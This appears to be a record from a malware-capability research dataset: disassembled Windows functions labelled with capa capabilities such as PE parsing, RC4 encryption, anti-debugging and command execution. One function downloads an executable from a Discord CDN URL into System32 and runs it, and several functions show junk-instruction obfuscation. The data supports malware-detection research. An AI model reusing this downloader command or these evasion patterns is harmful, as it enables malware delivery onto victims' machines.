joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6da64a30
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6da64a40
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6da64a50
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6da64a91
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6da64a88
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6da64a93
add rax, 0x28
cmp rax, r9
jne 0x6da64a74
xor eax, eax
ret

Function at 0x6da64b30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6da821f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6da64b9d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da64b9d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6da64b9d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6da64b94
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6da64b9f
add rax, 0x28
cmp rax, r9
jne 0x6da64b80
xor eax, eax
add rsp, 0x28
ret

Function at 0x6da64ca0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6da821f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6da64cc0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da64cb8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6da64d1d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6da64d14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6da64d24
add rax, 0x28
cmp rax, r9
jne 0x6da64d00
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6da64d40
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6da821f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6da64dae
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da64dae
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6da64dae
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6da64dae
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6da64da5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6da64db5
add rcx, 0x28
cmp rcx, rax
jne 0x6da64d90
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6da64dc8
jmp 0x6da64dae
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6da64dd6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6da64dae
test r9d, r9d
jg 0x6da64dc0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6da65110
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1170450982115749982_1170471540601651280_main.exe___output_C:WindowsSystem32licensingdiag.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32licensingdiag.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000191c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001966
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001966
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001966
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001966
cmp dword [rcx + 0x84], 0xe
jbe 0x140001966
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001968
xor al, al
add rsp, 0x28
ret
Function at 0x1400072b0
Capabilities:
Access peb ldr_data
Encrypt data using speck
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2e8
movaps xmmword [rsp + 0x2d0], xmm6
movabs r12, 0xcbf29ce484222325
movabs r14, 0x1d12a89b9e723ff5
lea rcx, [0x1400ce915]
jmp 0x1403a9546

Function at 0x140008210
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using speck
Get kernel32 base address
Parse pe header

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
movabs r14, 0xcbf29ce484222325
lea rcx, [0x1400ce987]
jmp 0x1403ab11a

Function at 0x14003ecb0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x680
mov r12, rcx
lea rcx, [0x1400ce99a]
jmp loc.14040677e

Function at 0x14011a3b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
ret
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400f73e0
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmc
cmp dword [rdx], 0x4550
jmp 0x140236850
jne 0x1400f73e0
xor eax, eax
mov ecx, 0x20b
rol al, 0x47
xor al, 0xcc
cmp word [rdx + 0x18], cx
sete al
ret

Function at 0x140195a1c
Capabilities:
Encrypt data using speck
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
jmp 0x140441ead
mov rcx, qword [rcx]
jmp 0x1400f29c4
push rsi
setp sil
jmp 0x140441eb7
push rdi
shld ax, di, 0xae
btc si, 0x82
sub rsp, 0x28
sar si, 0xc0
mov rsi, rcx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rcx]
cmp bp, 0x22b5
xor edx, edx
clc
sub r8d, r8d
jmp 0x140441ee4
call qword [rax + 0x188]
mov edi, eax
jmp 0x140441ef4
lea rcx, [rsi + 0x30]
jmp 0x140441efd
call fcn.140455a82
test edi, edi
jmp 0x140441f09
je 0x140441f3d
cmp edi, 0x8899000c
jne 0x140441f59
mov rcx, rsi
add rsp, 0x28
xchg esi, edi
movsxd rsi, r15d
movsx rdi, r8w
pop rdi
xchg si, si
movzx si, dil
not sil
pop rsi
jmp fcn.140441b75
nop
btr edi, r9d
movsx si, sil
stc
add rsp, 0x28
movzx si, bpl
pop rdi
pop rsi
jmp 0x140441f58
ret
mov ecx, edi
movabs r8, 0xad4a5352d2edebd0
mov dl, 3
not dil
mov r9d, 0x54
rcr dil, cl
add rsp, 0x28
pop rdi
pop rsi
jmp 0x140441f7e
jmp fcn.1403ab708

Function at 0x1401af2f3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r8, qword [rdx]
jmp 0x140273fc0
jmp fcn.1404bfb07

Function at 0x1401d0be4
Capabilities:
Parse pe header

Disassembly:
jmp 0x1404ad17d
xor r8d, r8d
xor edx, edx
jmp 0x1401bf5a9
Function at 0x1401f3066
Capabilities:
Access peb ldr_data

Disassembly:
movzx eax, word [r9 + rdx*2 + 2]
inc rdx
cmp rdx, 0x1b40450a
test rax, rax
test ax, ax
jmp 0x1401c05fb
cmovb r8, rdx
cmc
cmp r15b, bl
test ax, ax
jmp 0x1402347b4
inc rax
cmc
test r11w, r11w
jmp 0x14028e4a5
jne 0x1402347c4
sub r8, rdx
cmc
cmp r11w, 0x5ab6
test r8, r8
jmp 0x1401d0bb8
je 0x1401d0bc3
mov word [rcx], 0
ret
movzx eax, word [0x1400b8f10]
stc
test ax, ax
jmp 0x140235e2f
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
sbb r10, 0x2e3045ab
xor r8b, r11b
adc r8b, r15b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
neg r11b
movzx r8d, word [rax + 0x58]
xor r9b, bl
cmp r8, rdx
cmovae r8, rdx
setnp r10b
bt r11d, 0xc9
bts r11, rdx
mov r9, qword [rax + 0x60]
rcr r10b, cl
ror r10w, cl
mov r10d, esi
movzx r11d, word [r9]
add r10d, 0x13582c12
and r10d, 0x5fce1b38
btc r10w, 0x2b
lea r10, [0x1400b8f10]
test r11w, r11w
je 0x14028e4ae
sub eax, eax
stc
nop word [rax + rax]
cmc
jmp 0x14027267a
cmovb r8, rdx
jmp 0x1402347ba
je 0x1401c060b
sub edx, edx
lea r9, [0x1400b8f10]
clc
cmp r8, rdx
jmp 0x140292261
je 0x14020ad27
cmp rdx, 0x104
movsx r8, dx
mov r8d, 0x104
jmp 0x140213a8b
je 0x14025fc30
mov word [r10], r11w
movsx r11d, r11w
add r10, 2
movzx r11d, word [r9 + rax*2 + 2]
jmp 0x1401bf32c
je 0x14025fc3a
mov word [r10], 0
sub r8b, 0x20
movzx eax, word [0x1400b8f10]
seto r8b
cmp rdx, 0x104
jmp 0x14028099b
cmp r8, rax
jmp 0x14024a92c
mov r8d, 0x104
jmp 0x14017ce5e
jne 0x14027267a
sub r8, rax
test r8, r8
jmp 0x14025fc2a
je 0x1401d0bbe
mov word [rcx], ax
add rcx, 2
jmp 0x140149405
Function at 0x140251134
Capabilities:
Parse pe header

Disassembly:
jmp 0x1404ad17d
xor edx, edx
movsx r8d, bx
sub r8d, r8d
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1401a73fc

Function at 0x140267c34
Capabilities:
Enumerate pe sections

Disassembly:
ret
jb 0x14019cc9c
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jmp 0x14019cc96
jb 0x1401009f5
inc r9d
stc
cmp bpl, r14b
add rax, 0x28
test r11b, sil
stc
cmp r9d, r11d
jb 0x14028b8e6
xor eax, eax
jmp 0x1401009f5
movsxd r8, dword [rcx + 0x3c]
xor r9d, r9d
and r10w, r10w
bts ax, r15w
lea r8, [r8 + rcx]
bt r10w, si
bsr r10d, r9d
mov r10, rdx
btr r11w, 0x97
and r11w, 0x3d3f
sar al, cl
movzx eax, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rax, 0x18
jmp 0x14028bda2
je 0x14019ccb4
mov edx, dword [rax + 0xc]
clc
stc
cmp r10, rdx
jmp 0x14018a853
add rax, r8
cmc
test r15d, r11d
stc
test r11d, r11d
jmp 0x14028b8e0

Function at 0x1402836e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jne 0x1402350cd
test r9b, 3
jmp 0x1401e73ad
mov byte [r11 + rcx*2 + 1], al
jmp 0x1401fcff2
jmp 0x1401dbd36
ret
cmp al, byte [rdx + 2]
jne 0x1401e0594
mov byte [r11 + rcx*4 + 3], 0
movzx r10d, byte [rdx]
jmp 0x140233c68
cmp r8d, ecx
jmp 0x1401dbd30
test r9d, r9d
je 0x1400f8012
movzx r10d, byte [rdx]
sbb r8b, r13b
mov r8d, r9d
clc
stc
sub ecx, ecx
jmp 0x1400ecd38
mov byte [r11 + 3], cl
rol ecx, cl
movzx cx, r10b
neg rcx
movzx ecx, byte [r11 + 4]
cmp cl, byte [rdx]
setae cl
setne cl
neg cl
jmp 0x14026f306
je 0x1400f8012
cmp byte [r11 + rcx*4], r10b
jmp 0x140273c43
je 0x1400f8012
lea ecx, [r9 - 1]
clc
cmp ecx, 3
jmp 0x1402350a4
inc rcx
cmc
jmp 0x1401129f5
je 0x1400f8012
and r9d, 3
xor ecx, ecx
cwde
nop word cs:[rax + rax]
add al, 0x55
sbb rax, r11
bts rax, r10
movzx eax, byte [r11 + rcx*2]
cmp al, byte [rdx]
setne al
cmp rdx, r12
cmp r11b, 0xd8
neg al
jmp 0x1400e02aa
inc rcx
cmc
cmp r9d, ecx
jne 0x1401e73cd
jmp 0x1400f8012
jmp 0x1401e0594
jb 0x1400e0043
mov r8d, r9d
bt r10w, 0x2a
and r8d, 0xfffffffc
nop word cs:[rax + rax]
or cl, dh
rol ch, 0xc6
movsx ecx, sp
movzx ecx, byte [r11]
or r10b, 0x3e
cmp cl, byte [rdx]
seto cl
cmovbe r10, r11
movzx r10d, byte [r11 + 2]
setne cl
test rsi, 0x276f06df
neg cl
mov byte [r11 + 1], cl
rol cl, cl
cmp r10b, byte [rdx]
setne cl
cmc
neg cl
jmp 0x140127a8f
mov byte [r11 + 5], cl
bt ecx, 0x52
add cl, 0xf5
movzx ecx, byte [r11 + 6]
stc
cmp cl, byte [rdx]
mov cl, 0xc4
setne cl
stc
clc
neg cl
mov byte [r11 + 7], cl
add r11, 8
add r8d, 0xfffffffc
jmp 0x1400e003d
jne 0x1401e0594
movzx eax, byte [r11 + rcx*4 + 1]
test r8w, ax
cmp al, byte [rdx + 1]
jne 0x1401e0594
movzx eax, byte [r11 + rcx*4 + 2]
cmc
test r12d, 0x6d77298b
jmp 0x1400f942a
mov r10, qword [rcx]
mov r11, qword [rcx + 0x18]
movsx r9d, sp
xor r9w, 0x68e6
mov r9d, dword [r10 + 4]
imul r9d, dword [r10]
cmp r8d, 2
jne 0x14012097c
test r9d, r9d
jmp 0x1401e033f
Function at 0x1403dbf0f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
add r10w, 0x6524
push rbx
adc r9b, r11b
mov r9, rcx
lea r8, [r8 + rdx]
mov dword [rcx + 8], 0
dec r10w
sub eax, eax
sub ecx, ecx
nop word cs:[rax + rax]
xor r10d, r10d
neg r10d
lea r10, [rdx + 1]
jmp 0x1403dbf4c
cmp r10, r8
ja 0x1403dc1e6
movzx edi, byte [rdx]
mov edx, edi
test bpl, bl
and edx, 0x7f
shl rdx, cl
test bh, 0xc8
stc
lea rax, [rax + rdx]
bts dx, di
and dh, 0xf9
cmp r13w, 0x205b
add rcx, 7
bt dx, r15w
shl edx, 0x24
mov rdx, r10
test dil, dil
jmp 0x1403dbf8f
js 0x1403dbf43
mov rcx, rax
stc
cmc
cmp r8w, r13w
and rcx, 0xfffffffffffffff8
test rsp, r11
and eax, 7
clc
cmp ah, al
cmp rcx, 8
jmp 0x1403dbfb4
je 0x1403dc112
cmp rax, 1
jmp 0x1403dbfc3
jg 0x1403dbfee
test rax, rax
jmp 0x1403dbfd1
je 0x1403dc0b8
cmp eax, 1
jne 0x1403dc1e6
lea rdx, [r10 + 8]
jmp 0x1403dbfe9
jmp 0x1403dc101
cmp eax, 5
je 0x1403dc0f5
cmp eax, 2
jmp 0x1403dbfff
jne 0x1403dc1e6
mov rsi, r10
setge ah
sub edi, edi
jmp 0x1403dc019
sub ecx, ecx
nop word cs:[rax + rax]
sbb rax, 0x22bb34fa
bsr ax, r15w
rcl ah, cl
lea rax, [rsi + 1]
jmp 0x1403dc042
cmp rax, r8
ja 0x1403dc1e6
mov r11, rdi
cwd
movzx ebx, byte [rsi]
cmp r15b, 0xf7
mov edx, ebx
bsf si, r12w
ror esi, cl
and edx, 0x7f
shld si, bx, 0xbf
shl rdx, cl
sbb sil, 0x55
dec sil
rol esi, cl
add rdi, rdx
and si, 0x3dc8
xor sil, 0xd8
add rcx, 7
or esi, 0x4b1f6b6b
mov rsi, rax
cmc
stc
test cl, 0xbf
test bl, bl
js 0x1403dc034
add rdx, r11
add rdx, rax
test spl, 0xff
test bx, bp
cmp rdx, r8
cmova rdx, rax
jmp 0x1403dc0b3
jmp 0x1403dbf2d
mov rax, r10
add dh, 0x7f
nop
sub dh, 0x49
sbb edx, r9d
lea rdx, [rax + 1]
cmp rdx, r8
jmp 0x1403dc0d2
ja 0x1403dc1e6
cmp byte [rax], 0
not al
movsx ax, bh
lahf
mov rax, rdx
jmp 0x1403dc0ea
js 0x1403dc0c6
jmp 0x1403dbf2d
lea rdx, [r10 + 4]
cmc
test r8d, 0x79c578b2
cmp rdx, r8
cmova rdx, r10
jmp 0x1403dc10d
jmp 0x1403dbf2d
cmp eax, 2
jmp 0x1403dc11a
jne 0x1403dc1e6
mov dword [r9 + 8], 2
cwd
mov rsi, r10
xor eax, eax
shl dh, 0xae
add dh, cl
movzx dx, cl
sub ecx, ecx
clc
rol rdx, 0xa7
nop word [rax + rax]
and rdx, r10
btc rdx, 0x42
rcl rdx, cl
lea rdx, [rsi + 1]
test ebp, 0x7ed952c3
cmp rdx, r8
jmp 0x1403dc162
ja 0x1403dc1e6
movzx r11d, byte [rsi]
bt di, 0x23
btr si, 0x3c
bts esi, esi
mov edi, r11d
ror sil, 0x6f
add sil, bpl
shr rsi, 0x19
and edi, 0x7f
movzx esi, r8w
shld esi, esp, 0x4f
xadd esi, esi
shl rdi, cl
movzx esi, r14w
lea rax, [rax + rdi]
shl sil, cl
movsxd rsi, edi
add rcx, 7
clc
shr sil, cl
mov rsi, rdx
cmp r12, r11
test r11b, r11b
jmp 0x1403dc1bc
js 0x1403dc150
mov qword [r9 + 0x10], rdx
stc
mov qword [r9 + 0x18], rax
cmp al, 0x97
stc
add rdx, rax
cmc
cmp r13w, 0x2fe7
cmp rdx, r8
jmp 0x1403dc1e0
jbe 0x1403dbf2d
cmp r10, r8
mov dil, 0x7e
movsx rdi, r9w
seta al
movsx esi, si
movsx di, cl
pop rbx
movzx edi, cx
cmovbe di, bp
pop rdi
xchg esi, esi
pop rsi
jmp 0x1403dc20b
ret
Function at 0x1403e3cd5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
stc
clc
push r14
sar r14, 0xed
push rsi
add r14w, bp
push rdi
adc r14w, 0x2a20
shl r14b, 0x35
sal r14b, cl
push rbx
xor r14, rbx
and bl, r8b
add bx, 0x18b6
sub rsp, 0x90
sub bl, dil
movaps xmmword [rsp + 0x80], xmm6
movzx r14, sp
and r14, 0x4f623d4c
rol bl, cl
mov r14, rcx
neg dil
bswap rbx
mov dword [rcx + 8], 0
jmp 0x1403e3d36
mov qword [rcx + 0x10], 0
sar dil, cl
mov rdi, qword [rcx + 0x18]
cmp si, 0x4612
neg bl
shl bl, cl
mov rbx, qword [rcx + 0x20]
cmp bp, 0x682e
cmp rdi, rbx
je 0x1403e3e3a
lea r15, [0x1400beb30]
jmp 0x1403e3d6c
xorps xmm6, xmm6
jmp 0x1403e3da5
lea rsi, [rdi + 0x18]
jmp 0x1403e3d7d
call fcn.140261fd0
movups xmmword [rsi], xmm6
jmp 0x1403e3d8a
mov qword [rsi + 0x10], 0
clc
add rdi, 0x30
cmp rdi, rbx
jmp 0x1403e3d9f
je 0x1403e3e2d
mov qword [rdi], r15
btr cx, cx
mov rcx, qword [rdi + 0x18]
cmp r9, 0x5413652f
test rcx, rcx
je 0x1403e3d93
mov rdx, qword [rdi + 0x28]
test r13d, 0x7037487b
stc
cmp r11d, 0x50935d01
sub rdx, rcx
cmc
cmp ecx, 0x1823681e
cmp rdx, 0x1000
jmp 0x1403e3de9
jb 0x1403e3d74
mov rax, qword [rcx - 8]
cmp bh, bh
test bp, ax
add rcx, 0xfffffffffffffff8
cmp r14b, 1
sub rcx, rax
cmp rcx, 0x20
jmp 0x1403e3e0c
jae 0x1403e3fa7
add rdx, 0x27
xchg ch, cl
jmp 0x1403e3e20
mov rcx, rax
jmp 0x1403e3e28
jmp 0x1403e3d74
mov rax, qword [r14 + 0x18]
jmp 0x1403e3e36
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x30], 0
movsx rax, ax
lea rax, [0x1400bed70]
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
bt cx, r10w
movsx ecx, r12w
sub al, 0xfb
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0
lahf
btc cx, r13w
mov dword [rsp + 0x30], 0
adc cx, si
setle ch
lea rax, [r14 + 0x38]
rol rcx, cl
movzx rcx, r11w
not cx
mov dword [r14 + 0x40], 0
sub cx, 0x508d
rol ch, cl
movzx cx, r13b
lea rcx, [rsp + 0x28]
cmp spl, cl
cmp rax, rcx
jmp 0x1403e3ec3
je 0x1403e3f65
lea rcx, [r14 + 0x48]
cmp bpl, r14b
test r11w, 0x1e56
test si, r13w
xor edx, edx
test r14w, r9w
xor r8d, r8d
call fcn.1403e5d3f
lea rcx, [r14 + 0x60]
and r8b, r11b
mov rdx, qword [rsp + 0x50]
not r8d
sub r8d, 0x7a9f6d95
btr r8w, 0xcc
mov r8, qword [rsp + 0x58]
cmp r11, 0x3f967ae1
sub r8, rdx
cmc
jmp 0x1403e3f19
sar r8, 5
jmp 0x1403e3f22
call fcn.1403e5d3f
add r14, 0x78
or ch, bl
cmp r13w, 0x61a4
mov rdx, qword [rsp + 0x68]
rcl ch, cl
mov r8, qword [rsp + 0x70]
test r8d, r13d
movzx rcx, sp
movzx cx, r13b
sub r8, rdx
rcl ecx, 0x27
add cl, sil
sar r8, 5
mov rcx, r14
jmp 0x1403e3f60
call fcn.1403e5d3f
lea rcx, [rsp + 0x28]
call fcn.1403e5b33
movaps xmm6, xmmword [rsp + 0x80]
and r15w, si
rcl r14w, 0x7a
add rsp, 0x90
jmp 0x1403e3f92
pop rbx
movzx edi, r10w
pop rdi
pop rsi
movzx r15d, r10w
pop r14
pop r15
jmp 0x1403e3fa6
ret
call fcn.1404b2253
int3
Function at 0x1403e4ed3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
bsf ax, sp
push r14
mov r14w, r10w
shr r14w, 0x3c
push rsi
shld rax, rcx, 0x2b
push rdi
shl ah, 0x62
bsf r14w, r12w
push rbx
and r14d, esi
neg ax
sub rsp, 0x20
and al, dil
mov r14, rcx
rcr eax, cl
mov eax, dword [rcx + 8]
stc
cmp esp, r11d
test al, 2
jmp 0x1403e4f14
jne 0x1403e4f21
xor esi, esi
jmp 0x1403e4fe6
mov rdi, qword [r14 + 0x10]
mov r15, qword [r14 + 0x18]
add sil, r8b
mov rsi, r13
cmovns si, r9w
mov rsi, r15
test di, r14w
sub rsi, rdi
test bp, 0xd98
test r15w, r15w
sar rsi, 5
cmp r15, rdi
jmp 0x1403e4f53
je 0x1403e4fe6
mov rax, qword [rdi]
movsx cx, cl
mov ecx, 0x4b962ece
bswap cx
mov rcx, rdi
jmp 0x1403e4f70
call qword [rax + 0x10]
or rax, 1
setp bl
bsr rax, rax
sub cx, 0x739b
neg bl
or bl, bpl
lea rbx, [rax + rax*8]
add ecx, 0x52eb33cd
ror cl, cl
add rbx, 0x49
inc cx
bswap cx
shl ax, cl
shr rbx, 6
mov ax, 0x383a
cbw
cmove rax, rax
mov rax, qword [rdi]
movzx rcx, dx
movsx cx, r9b
mov rcx, rdi
call qword [rax + 0x10]
add rsi, rax
clc
lea rsi, [rsi + rbx]
cmc
stc
cmp r8b, r10b
add rdi, 0x20
cmp rdi, r15
jmp 0x1403e4fda
jne 0x1403e4f59
mov eax, dword [r14 + 8]
clc
stc
test al, 4
jmp 0x1403e4fed
jne 0x1403e5000
mov rdi, rsi
jmp 0x1403e4ffb
jmp 0x1403e50b3
mov rbx, qword [r14 + 0x28]
shrd r15d, r12d, 0xf6
mov r15, qword [r14 + 0x30]
bt di, bx
mov rdi, r15
test r11b, 0x59
test rsp, rcx
sub rdi, rbx
test bp, 0x6b72
stc
sar rdi, 5
stc
lea rdi, [rdi + rsi]
cmp r15, rbx
jmp 0x1403e5035
je 0x1403e50b3
nop dword [rax]
cmova ecx, eax
mov rax, qword [rbx]
seto ch
mov rcx, rbx
call qword [rax + 0x10]
or rax, 1
or rcx, 0x7f32328
xor cx, 0x23e0
bsr rax, rax
lea rsi, [rax + rax*8]
add rsi, 0x49
shr rsi, 6
mov rax, qword [rbx]
setge ch
movzx ecx, r10w
not ch
mov rcx, rbx
jmp 0x1403e5082
call qword [rax + 0x10]
add rdi, rax
test r14w, di
add rdi, rsi
add rbx, 0x20
cmc
cmp rbx, r15
jmp 0x1403e509c
jne 0x1403e5042
mov eax, dword [r14 + 8]
jmp 0x1403e50b3
test al, 8
jmp 0x1403e50ba
je 0x1403e51a4
mov rbx, qword [r14 + 0x40]
bt r15w, r8w
mov r14, qword [r14 + 0x48]
mov r15, r14
cmp r14b, 0xa2
cmc
sub r15, rbx
test dil, 0x7f
sar r15, 5
cmc
jmp 0x1403e50e6
lea r15, [r15 + rdi]
clc
cmp r14, rbx
jmp 0x1403e50f3
je 0x1403e51a1
nop word [rax + rax]
movzx ax, bpl
cmovae eax, ebp
movsx rcx, dx
mov rax, qword [rbx]
movzx ecx, r11w
movsx cx, dh
mov rcx, rbx
jmp 0x1403e5121
call qword [rax + 0x10]
or rax, 1
bsr rax, rax
jmp 0x1403e5136
lea rsi, [rax + rax*8]
shrd cx, bp, 0xeb
not ax
add rsi, 0x49
cmp r13d, r14d
shr rsi, 6
movzx eax, bp
mov rax, qword [rbx]
not cl
mov rcx, rbx
jmp 0x1403e515d
call qword [rax + 0x10]
mov rdi, rax
lea rdi, [rdi + r15]
jmp 0x1403e516f
add rdi, rsi
cmc
sal r15, 0x81
add r15b, 0xed
add rbx, 0x20
btc r15, rbx
rcl r15b, 0xf3
mov r15, rdi
cmc
cmp r10b, bpl
cmp rbx, r14
jmp 0x1403e5196
jne 0x1403e510e
jmp 0x1403e51a4
mov rdi, r15
mov rax, rdi
test r15b, cl
bswap rdi
add rsp, 0x20
xchg dil, r15b
pop rbx
setg r15b
xchg r15b, r14b
pop rdi
setno r15b
pop rsi
movsx r15d, sp
movsx r15w, bl
pop r14
movsxd r15, r9d
movsx r15w, bl
bswap r15w
pop r15
jmp 0x1403e51e0
ret
Function at 0x1403f0216
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
ror r15b, cl
xor r15w, 0x2458
add r15b, 7
push r13
bts r13, rbp
cmovp r15w, si
sbb r13, rdi
push r12
push rsi
shl r13b, 0x81
push rdi
push rbx
jmp 0x1403f024a
sub rsp, 0x30
jmp 0x1403f0253
movaps xmmword [rsp + 0x20], xmm6
stc
adc sil, al
mov r15, r9
movsx r13d, r11w
mov r12, r8
shl r14, cl
mov r14, rdx
xor sil, 0x34
btr si, ax
cmp bp, sp
mov r13, rcx
not si
mov rsi, qword [rcx]
cmp rsp, 0x85a0ce9
test ecx, edi
test rsi, rsi
jmp 0x1403f0291
je 0x1403f03be
mov rbx, qword [r13 + 8]
stc
test r9b, r8b
cmp rsi, rbx
jmp 0x1403f02a7
je 0x1403f0354
movaps xmm6, xmmword [0x1400bd400]
jmp 0x1403f02df
call fcn.140261fd0
movups xmmword [rsi + 0x10], xmm6
cmc
mov byte [rsi], 0
jmp 0x1403f02cf
add rsi, 0x20
test bpl, r15b
cmp rsi, rbx
je 0x1403f034e
mov rax, qword [rsi + 0x18]
stc
cmp r14b, 0xb6
cmp rax, 0x10
jmp 0x1403f02f1
jb 0x1403f02be
mov rcx, qword [rsi]
bswap dx
lea rdx, [rax + 1]
stc
cmp rdx, 0x1000
jmp 0x1403f030e
jb 0x1403f02b9
mov rdi, qword [rcx - 8]
test r14b, 0x33
stc
add rcx, 0xfffffffffffffff8
sub rcx, rdi
stc
cmp rcx, 0x20
jmp 0x1403f032e
jae 0x1403f0443
add rax, 0x28
xchg cl, cl
movzx cx, cl
sets ch
mov rdx, rax
not cl
mov rcx, rdi
jmp 0x1403f02b9
mov rsi, qword [r13]
sbb edx, ecx
mov rdx, qword [r13 + 0x10]
cmp cx, r12w
cmc
sub rdx, rsi
cmp rdx, 0x1000
jmp 0x1403f036c
jb 0x1403f03b1
mov rax, qword [rsi - 8]
add rsi, 0xfffffffffffffff8
cmp ax, bx
sub rsi, rax
test spl, 0xec
cmp rsi, 0x20
jmp 0x1403f038d
jae 0x1403f0443
add rdx, 0x27
cmovnp si, cx
mov rsi, r8
bswap rsi
mov rsi, rax
movzx cx, r14b
movsx cx, r10b
bswap cx
mov rcx, rsi
jmp 0x1403f03b9
call fcn.140261fd0
mov qword [r13], r14
cmp r9d, 0x75087d6d
bswap ebx
shl r12, 5
movsx rsi, r10w
add bl, sil
lea r12, [r12 + r14]
bt ebx, 0x8e
mov qword [r13 + 8], r12
ror ebx, 0x57
xadd bx, si
